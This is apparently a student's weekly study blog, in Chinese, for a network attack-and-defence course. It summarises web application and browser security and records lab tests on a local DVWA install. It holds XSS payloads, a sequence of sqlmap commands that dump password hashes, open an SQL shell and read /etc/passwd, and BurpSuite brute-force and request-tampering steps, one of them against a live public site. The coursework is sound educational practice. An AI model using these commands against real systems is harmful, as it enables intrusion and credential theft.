《网络攻防》第5周作业
20169310 2016-2017-2 《网络攻防实践》第5周学习总结
教材学习内容总结
本周主要学习了《网络攻防---技术与实践》第11、12章的内容,主要学习了 Web应用程序安全攻防 和 Web浏览器安全攻防
-
Web应用程序体系结构
Web应用体系结构主要分为客户端与服务器端,客户端由浏览器构成,服务器端由Web服务器软件、Web应用程序及后端数据库构成(这三部分依次按照表示层、业务逻辑层和数据层来组织和构建),二者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
浏览器(Browser) 就是我们经常使用的Web客户端,如 IE、Firefox、Chrome等。
Web服务器(Web Server) 通常被简单的描述为HTTP守护程序,用来接收Web客户端请求,然后在这些请求上执行一些基本的处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回相应时,Web服务器再将这个响应返回给Web客户端,进而在浏览器上进行本地执行、渲染和展示。
Web应用程序(Web Application) 现代Web应用的核心是处于服务器端的业务逻辑,即Web应用程序,它是一个动态引擎,与用户进行实时的交互。Web应用程序由表示层、业务逻辑层和数据层三层结构组成。表示层是接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成;业务逻辑层从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层,业务逻辑层是Web应用程序的核心,其实现方式包括早期的CGI脚本程序,或目前流行的ASP、ASP.NET、PHP等动态脚本语言程序;数据层以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新。
数据库(Database) 有时也被称为后台,是Web应用存储数据的地方。
传输协议HTTP/HTTPS 是浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议。HTTP是超文本传输协议(HyperText Transfer Protocol),默认使用TCP80端口,是相对简单、无状态的、基于ASCII码的协议。为了提升HTTP协议的安全性,使用SSL/TLS隧道技术来实现加密传输的HTTPS协议。 -
Web应用安全威胁
1.针对浏览器和终端用户的Web浏览安全威胁;
2.针对传输网络的网络协议安全威胁;
3.系统层安全威胁;
4.Web服务器软件安全威胁;
5.Web应用程序安全威胁;
6.Web数据安全威胁。 -
Web应用信息收集
1.手工审查Web应用程序结构与源代码。包括:静态与动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串。
2.自动下载与镜像Web站点页面。此种方法是相比于第一种方法,采用现成的工具高效地完成之前的信息收集。
3.使用Google Hacking技术审查与探测Web应用程序。
4.Web应用程序安全评估与漏洞探测。常常需要一些Web应用程序分析、安全评估和漏洞探测工具来提供辅助。这些辅助分析工具主要包括:浏览器插件、免费工具集和商业Web应用安全评估系统和漏洞扫描器。 -
Web服务器平台中的安全漏洞
1.数据驱动的远程代码执行安全漏洞;
2.服务器功能扩展功能模块漏洞;
3.样本文件安全漏洞 ;
4.源代码泄露 ;
5.资源解析攻击 。 -
攻击Web应用程序和Web数据内容
Web应用的各个层次上,目前安全最薄弱的环节在于Web应用程序。其安全威胁从攻击角度来看分为:针对认证机制的攻击、授权机制的攻击、客户端攻击、命令执行攻击、信息暴露、逻辑攻击。
Web数据内容的攻击具体包括安全敏感数据泄露、网站内容遭受篡改及不良信息内容上传。 -
Web应用安全防范
主要针对Web站点网络传输安全、Web站点操作系统及服务安全、Web应用程序安全及Web站点数据安全设防。 -
SQL注入与XSS跨站脚本攻击
1.SQL注入
是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术,它的原理是向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
攻击步骤:发现SQL注入点、判断后台数据库类型、后台数据库中管理员用户口令字猜解、上传ASP后门和得到默认账户权限、本地权限提升、利用数据库扩展存储过程执行Shell命令。
攻击工具:Wposion、wieliekoek.pl、SPIKE Proxy、SPI Toolkit。
防范措施:使用类型安全的参数编码机制、凡是来自外部的用户输入必须进行完备检查、将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象、加强SQL数据库服务器的配置与连接。
2.XSS跨站脚本攻击
根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善。与代码注入不同,XSS攻击的最终目标并非Web服务器,Web服务器上的应用程序在XSS攻击场景中发挥的角色是“帮凶”,而真正的受害者是访问这些Web服务器的其他用户。利用Web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生出一些恶意攻击页面,由此当其他用户访问这些页面时就会发生攻击行为。
XSS攻击主要分为持久性漏洞和非持久性漏洞,前者最为严重,后者最为普遍。
防范措施:服务器端可以通过输入验证、输出净化和消除危险的输入点来完成防范,客户端也可通过诸如关闭cookie功能等手段完成防范。 -
Web浏览器的安全问题与威胁
由于Web浏览器需要支持许多种协议与规范,所以它具有很强的复杂性,进而意味着拥有更多的错误和安全缺陷。其次,由于浏览器支持多种多样的可扩展性插件,因而其扩展性方面也涌现出许多安全问题。最后,由于浏览器软件始终工作在联网状态,因而其一旦存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
对于Web浏览器,按照其不同的组件,面临着针对传输网络的网络协议安全威胁、针对Web浏览端系统平台的安全威胁、针对Web浏览器软件及插件程序的渗透攻击威胁、针对互联网用户的社会工程学攻击威胁。
网页木马 是Web浏览器的渗透攻击威胁,它是从恶意网页脚本所孕育和发展出来的。其发展和流行的驱动力是黑客地下经济链,其存在的基础是Web浏览器安全漏洞。从本质上来说,网页木马是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。
网页挂马机制主要有:内嵌HTML标签、恶意Script脚本、内嵌对象链接、ARP欺骗挂马。
网页木马为了对抗反病毒软件的监测还引入了混淆机制。
检测与分析网页木马技术主要有:基于特征码匹配的传统监测方法、基于统计与机器学习的静态分析方法、基于动态行为结果判定的监测分析方法、基于模拟浏览器环境的动态分析监测方法。
其防范措施在于提升操作系统与浏览器平台软件的安全性。
网络钓鱼 是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息。
其防范措施在于提高警惕性、充分利用浏览器软件及网络安全厂商所提供的反钓鱼网站功能特性、提升个人安全意识来辨别新的钓鱼网站、要重视访问网站的真实性、通过学习和修炼提升自己抵抗社会工程学攻击的能力。
教材学习中的问题和解决过程
问题:在视频的学习当中,简单的测试了SQL注入漏洞,现借助DVWA平台简单测试一下XSS跨站脚本攻击。
在dvwa界面右侧选择 SQL(Reflected)
,即非持久性XSS漏洞(反射XSS漏洞),安全等级选择 low
:
在输入框输入 zhb
,返回:
查看当前网页源码如下:
可以看到,在输入字符串后,它并没有做任何过滤判断措施就直接返回了,注意到下面这句:
<pre>Hello zhb</pre>
根据它的结构可以发现,我们在输入框中的输入的字符串 xxx
只是简单构造成为 <pre>Hello xxx</pre>
,因而可以输入:
</pre><script>alert('XSS')</script><pre>
返回结果如下:
这就测试了简单的XSS漏洞,或是输入以下语句获取cookie:
</pre><script>alert(document.cookie)</script><pre>
对于持久性XSS漏洞,则是同样的原理但是会将输入持久的保存在服务器端,这样他人在登录时就会触发这个漏洞,导致信息泄露。此处做一个简单测试:
通过观察网页源码:
可以在 Message
中输入以下语句:
<script>alert('XSS')</script>
提交之后,在Ubuntu当中打开dvwa,进入XSS持久性漏洞页面,就会弹出如下窗口:
说明XSS持久性漏洞确实影响到了其他用户,如果将攻击语句改成获取用户名密码之类的敏感信息,然后打包发送出去,那么就会造成用户信息泄露。
视频学习中的问题和解决过程
这周主要学习了KaliSecurity16-20,主要学习了数据库评估工具、Web应用代理(重点BurpSuite)和Fuzz工具。
问题1 DVWA
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。我选择在Ubuntu系统(IP 192.168.37.150
)当中安装该平台,以下为具体测试过程。
首先下载XAMPP(一个功能强大的建 XAMPP 软件站集成软件包)和DVWA,我下载的版本是 xampp-linux-5.6.15-1-installer.run 和 DVWA-master。
然后先执行以下命令,为文件添加执行权限:
sudo chmod a+x xampp-linux-5.6.15-1-installer.run
然后安装:
sudo ./xampp-linux-5.6.15-1-installer.run
安装完毕后,解压DVWA压缩包:
unzip DVWA-master.zip
然后移动解压后的文件夹到 /opt/lampp/htdocs/
下:
sudo cp -rvf DVWA-master /opt/lampp/htdocs/
重命名该文件夹,用来以后访问时使用:
cd /opt/lampp/htdocs
mv DVWA-master ./dvwa
启动xampp:
sudo /opt/lampp/xampp start
打开浏览器访问 http://127.0.0.1
,即可打开xampp界面:
在界面右上角 phpMyAdmin
当中添加用户,用户名为 admin
,密码为 dvwa
:
下面除了 require ssl
外全部勾选,完毕后点击 go
,即可完成用户创建:
通过编辑器对DVWA的配置文件进行修改,其中的信息与之前建立的用户信息对应:
浏览器中访问 http://127.0.0.1/dvwa
,即可打开DVWA界面:
然后在界面最下方创建新的数据库:
创建完成后,就会自动跳转到DVWA的登录界面,这里使用DVWA的默认账户 admin
,默认密码 password
即可进入。至此,DVWA渗透测试平台搭建完毕。
打开Kali,在浏览器中访问 192.168.37.150/dvwa
,即可进入DVWA测试平台:
至此,就可以使用kali当中的工具对其数据库进行检测了。
sqlmap工具的使用
首先在dvwa平台当中将安全设置设定为 low
:
然后可以选择 SQL注入漏洞 进行检测,在 User ID
当中分别输入 1
和 1'
,可观察到输入 1
时正常返回,输入 1'
时返回错误:
说明这里可能存在SQL注入漏洞,接着使用 sqlmap
工具对该目标进行探测,使用如下命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low'
//cookie中的值可通过浏览器得到
最终得到如下结果:
说明确实存在SQL注入漏洞。再进一步,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --current-db
可具体查看目标数据库名称为 admin
,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --current-user
查看到目标数据库的用户为 admin
,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --dbs
查看到目标存在的我们可以有权查看的数据库列表,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --users
可查看到数据库的所有用户,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --users --pass
可查看用户的密码,这其中使用了暴力枚举的功能,可看到将用户 admin
的密码Hash值得到了,其他几个用户没有设置密码。通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --privilege
可查看当前的权限情况,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --tables -D admin
可查看 admin
数据库下的表有 guestbook
和 users
,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --columns -T users -D admin
可查看 users
表中关于字段的信息,通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --dump -C user,password -T users -D admin
可查看 user
和 password
字段中的信息。通过命令:
sqlmap -u "http://192.168.37.150/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='PHPSESSID=54f6ob13o3c5i6997atd23j3d3;security=low' --sql-shell
可得到一个能够使用sql语句的shell,上图中使用 select load_file('/etc/passwd');
得到了一些关于密码的文件内容。
jsql工具的使用
打开jsql工具,将存在SQL注入漏洞的地址输入进去,然后执行即可得到数据库中的内容,可以图形化查看,如下:
问题2 BurpSuite工具
该工具是一个Web应用程序集成攻击平台,它包含了一系列burp工具,用于漏洞分析。
爬虫功能
打开它,然后访问 http://192.168.37.150/dvwa
即可爬到许多信息,如下:
暴力破解表单账户密码
依然访问 http://192.168.37.150/dvwa
,进入它的登录界面,故意输错,比如用户名密码都输入 1
,然后在BurpSuite工具的爬虫界面中找到网页提交的信息,转到Intruder模块,如下:
这里需要使用到字典,为方便测试,我自己建立了一个简单的字典:
经测试,并不能成功,我觉得是因为在网页表单提交时多了一个用户令牌 user_token
,这是一个完全随机的数,故单纯匹配密码没有用。
手动重新发送单个http请求 Repeater
Web应用代理 proxy
在BurpSuite当中进入proxy标签页,它可以逐条拦截上网信息,可以查看设定的Web代理服务器为 127.0.0.1:8080
:
接着在浏览器中设定代理服务器:
由于该工具默认情况下无法抓取 HTTPS
协议的数据包,所以百度之类的网站无法抓取,进而选择了一个 HTTP
协议的网站http://www.21cto.com/进行测试:
假定我们在网站当中的搜索框搜索"kali",抓取到的数据为:
可以手动将数据包里的搜索内容"kali",修改为"linux":
修改后,网站下一步将会转向实际搜索"linux"的界面:
如果再网页加载过程中,将数据包drop掉,则会得到以下网页:
学习进度条
学习目标(本学期)
完成网络攻防课程的学习,完成各种攻防实践操作。
本周完成内容
学习了《网络攻防---技术与实践》第11、12章的内容,学习了KaliSecurity的16 - 20视频,着重学习了SQL注入与XSS跨站脚本攻击的原理、sqlmap、BurpSuite。
周次 | 教材学习 | 视频学习(新增/累计) | 博客(新增/累计) |
---|---|---|---|
第1周 | (实验楼学习) | (实验楼学习) | 1/1 |
第2周 | 第1、2章 | 5/5 | 1/2 |
第3周 | 第3章 | 5/10 | 2/4 |
第4周 | 第4章 | 5/15 | 1/5 |
第5周 | 第11、12章 | 5/20 | 1/6 |